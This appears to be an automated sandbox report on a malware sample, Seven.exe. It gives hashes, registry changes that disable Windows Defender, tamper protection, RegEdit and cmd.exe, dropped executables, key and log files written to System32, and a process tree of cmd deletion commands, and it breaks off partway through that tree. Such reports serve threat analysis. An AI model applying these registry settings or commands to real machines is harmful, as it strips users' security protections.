Analysis
-
max time kernel
147s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 08:06
Static task
static1
Behavioral task
behavioral1
Sample
Seven.exe
Resource
win10v2004-20240419-en
General
-
Target
Seven.exe
-
Size
139KB
-
MD5
6503f847c3281ff85b304fc674b62580
-
SHA1
947536e0741c085f37557b7328b067ef97cb1a61
-
SHA256
afd7657f941024ef69ca34d1e61e640c5523b19b0fad4dcb1c9f1b01a6fa166f
-
SHA512
abc3b32a1cd7d0a60dd7354a9fcdff0bc37ec8a20bb2a8258353716d820f62d343c6ba9385ba893be0cca981bbb9ab4e189ccfeee6dd77cc0dc723e975532174
-
SSDEEP
3072:miS4omp03WQthI/9S3BZi08iRQ1G78IVn27bSfcJd8lto:miS4ompB9S3BZi0a1G78IVhcTct
Malware Config
Signatures
-
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" Seven.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" Seven.exe -
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLua = "1" Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "1" Seven.exe -
Blocks application from running via registry modification 1 IoCs
Adds application to list of disallowed applications.
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" Seven.exe -
Disables RegEdit via registry modification 1 IoCs
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" Seven.exe -
Disables Task Manager via registry modification
-
Disables cmd.exe use via registry modification 1 IoCs
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" Seven.exe -
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
SevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSeven.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Seven.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation SevenCopy.exe -
Executes dropped EXE 64 IoCs
Processes:
SevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exepid process 17880 SevenCopy.exe 19084 SevenCopy.exe 1988 SevenCopy.exe 18376 SevenCopy.exe 4504 SevenCopy.exe 14116 SevenCopy.exe 6216 SevenCopy.exe 9376 SevenCopy.exe 5440 SevenCopy.exe 15272 SevenCopy.exe 14568 SevenCopy.exe 6644 SevenCopy.exe 13464 SevenCopy.exe 10128 SevenCopy.exe 11972 SevenCopy.exe 6416 SevenCopy.exe 5624 SevenCopy.exe 9112 SevenCopy.exe 12920 SevenCopy.exe 13056 SevenCopy.exe 9300 SevenCopy.exe 876 SevenCopy.exe 11164 SevenCopy.exe 13584 SevenCopy.exe 5908 SevenCopy.exe 15224 SevenCopy.exe 15892 SevenCopy.exe 17092 SevenCopy.exe 16328 SevenCopy.exe 14948 SevenCopy.exe 5640 SevenCopy.exe 1740 SevenCopy.exe 15956 SevenCopy.exe 17060 SevenCopy.exe 16128 SevenCopy.exe 17052 SevenCopy.exe 15540 SevenCopy.exe 4140 SevenCopy.exe 15520 SevenCopy.exe 17236 SevenCopy.exe 16268 SevenCopy.exe 14576 SevenCopy.exe 13716 SevenCopy.exe 15152 SevenCopy.exe 14872 SevenCopy.exe 16076 SevenCopy.exe 2160 SevenCopy.exe 11932 SevenCopy.exe 16176 SevenCopy.exe 17044 SevenCopy.exe 17004 SevenCopy.exe 11956 SevenCopy.exe 9360 SevenCopy.exe 16140 SevenCopy.exe 16508 SevenCopy.exe 17100 SevenCopy.exe 16064 SevenCopy.exe 16696 SevenCopy.exe 11556 SevenCopy.exe 3932 SevenCopy.exe 14916 SevenCopy.exe 9044 SevenCopy.exe 8948 SevenCopy.exe 7480 SevenCopy.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" Seven.exe -
Processes:
Seven.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLua Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLua = "1" Seven.exe -
Drops desktop.ini file(s) 7 IoCs
Processes:
Seven.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Documents\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Music\desktop.ini Seven.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini Seven.exe -
Drops file in System32 directory 64 IoCs
Processes:
SevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exeSevenCopy.exedescription ioc process File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\EncryptedLog.txt File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\KeyAndIV.txt File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe File created C:\Windows\system32\KeyAndIV.txt SevenCopy.exe File created C:\Windows\system32\EncryptedLog.txt SevenCopy.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepid process 13352 powershell.exe 13352 powershell.exe 13352 powershell.exe 13352 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 13352 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Seven.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1944 wrote to memory of 4412 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4412 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4564 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4564 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1176 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1176 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4860 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4860 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 620 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 620 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4360 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4360 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1616 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1616 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1636 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1636 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3624 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3624 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3700 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3700 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1536 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 1536 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 2172 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 2172 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3380 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3380 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3796 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3796 1944 Seven.exe cmd.exe PID 4412 wrote to memory of 2676 4412 cmd.exe choice.exe PID 4412 wrote to memory of 2676 4412 cmd.exe choice.exe PID 1944 wrote to memory of 3784 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 3784 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4136 1944 Seven.exe cmd.exe PID 1944 wrote to memory of 4136 1944 Seven.exe cmd.exe PID 4564 wrote to memory of 3064 4564 cmd.exe choice.exe PID 4564 wrote to memory of 3064 4564 cmd.exe choice.exe PID 3700 wrote to memory of 1552 3700 cmd.exe choice.exe PID 3700 wrote to memory of 1552 3700 cmd.exe choice.exe PID 1616 wrote to memory of 3244 1616 cmd.exe choice.exe PID 1616 wrote to memory of 3244 1616 cmd.exe choice.exe PID 1176 wrote to memory of 4740 1176 cmd.exe choice.exe PID 1176 wrote to memory of 4740 1176 cmd.exe choice.exe PID 620 wrote to memory of 728 620 cmd.exe choice.exe PID 620 wrote to memory of 728 620 cmd.exe choice.exe PID 4360 wrote to memory of 4624 4360 cmd.exe choice.exe PID 4360 wrote to memory of 4624 4360 cmd.exe choice.exe PID 3624 wrote to memory of 2012 3624 cmd.exe choice.exe PID 3624 wrote to memory of 2012 3624 cmd.exe choice.exe PID 1636 wrote to memory of 1188 1636 cmd.exe choice.exe PID 1636 wrote to memory of 1188 1636 cmd.exe choice.exe PID 1536 wrote to memory of 2096 1536 cmd.exe choice.exe PID 1536 wrote to memory of 2096 1536 cmd.exe choice.exe PID 4136 wrote to memory of 3776 4136 cmd.exe choice.exe PID 4136 wrote to memory of 3776 4136 cmd.exe choice.exe PID 4860 wrote to memory of 3632 4860 cmd.exe choice.exe PID 4860 wrote to memory of 3632 4860 cmd.exe choice.exe PID 3380 wrote to memory of 1544 3380 cmd.exe choice.exe PID 3380 wrote to memory of 1544 3380 cmd.exe choice.exe PID 3796 wrote to memory of 2364 3796 cmd.exe choice.exe PID 3796 wrote to memory of 2364 3796 cmd.exe choice.exe PID 2172 wrote to memory of 720 2172 cmd.exe choice.exe PID 2172 wrote to memory of 720 2172 cmd.exe choice.exe PID 3784 wrote to memory of 4644 3784 cmd.exe choice.exe PID 3784 wrote to memory of 4644 3784 cmd.exe choice.exe -
System policy modification 1 TTPs 3 IoCs
Processes:
Seven.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLua = "1" Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" Seven.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "1" Seven.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 3 IoCs
Processes:
attrib.exeattrib.exeattrib.exepid process 17720 attrib.exe 17712 attrib.exe 17728 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Seven.exe"C:\Users\Admin\AppData\Local\Temp\Seven.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1944 -
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2010_x64.log-MSI_vc_red.msi.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2676
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2010_x64.log.html"2⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3064
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2010_x86.log-MSI_vc_red.msi.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4740
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2010_x86.log.html"2⤵
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3632
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2012_x64_0_vcRuntimeMinimum_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:728
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2012_x64_1_vcRuntimeAdditional_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4624
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2012_x86_0_vcRuntimeMinimum_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2012_x86_1_vcRuntimeAdditional_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1188
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2013_x64_000_vcRuntimeMinimum_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:3624 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2012
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2013_x64_001_vcRuntimeAdditional_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1552
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2013_x86_000_vcRuntimeMinimum_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2096
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2013_x86_001_vcRuntimeAdditional_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:720
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2022_x64_000_vcRuntimeMinimum_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1544
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2022_x64_001_vcRuntimeAdditional_x64.log"2⤵
- Suspicious use of WriteProcessMemory
PID:3796 -
